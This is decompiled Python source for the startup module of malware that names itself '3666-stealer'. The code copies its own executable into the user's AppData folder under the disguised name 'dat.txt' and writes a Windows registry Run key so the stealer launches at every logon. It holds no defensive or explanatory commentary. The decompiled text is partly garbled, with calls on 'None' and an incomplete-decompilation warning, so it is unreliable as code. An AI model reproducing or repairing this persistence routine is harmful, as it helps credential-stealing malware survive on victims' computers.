Files

59 lines
1.5 KiB
Python
Executable File

# Source Generated with Decompyle++
# File: startup.pyc (Python 3.10)
import subprocess
import os
import shutil
import sys
class Startup:
def __init__(self = None):
self.working_dir = os.getenv('APPDATA') + '\\3666-stealer'
if self.check_self():
return None
None.mkdir()
self.write_stub()
self.regedit()
def check_self(self = None):
if os.path.realpath(sys.executable) == self.working_dir + '\\dat.txt':
return True
def mkdir(self = None):
if not os.path.isdir(self.working_dir):
os.mkdir(self.working_dir)
return None
None.rmtree(self.working_dir)
os.mkdir(self.working_dir)
def write_stub(self = None):
shutil.copy2(os.path.realpath(sys.executable), self.working_dir + '\\dat.txt')
# WARNING: Decompyle incomplete
def regedit(self = None):
subprocess.run([
'reg',
'delete',
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
'/v',
'3666-stealer',
'/f'], True, **('args', 'shell'))
subprocess.run([
'reg',
'add',
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
'/v',
'3666-stealer',
'/t',
'REG_SZ',
'/d',
f'''{self.working_dir}\\run.bat''',
'/f'], True, **('args', 'shell'))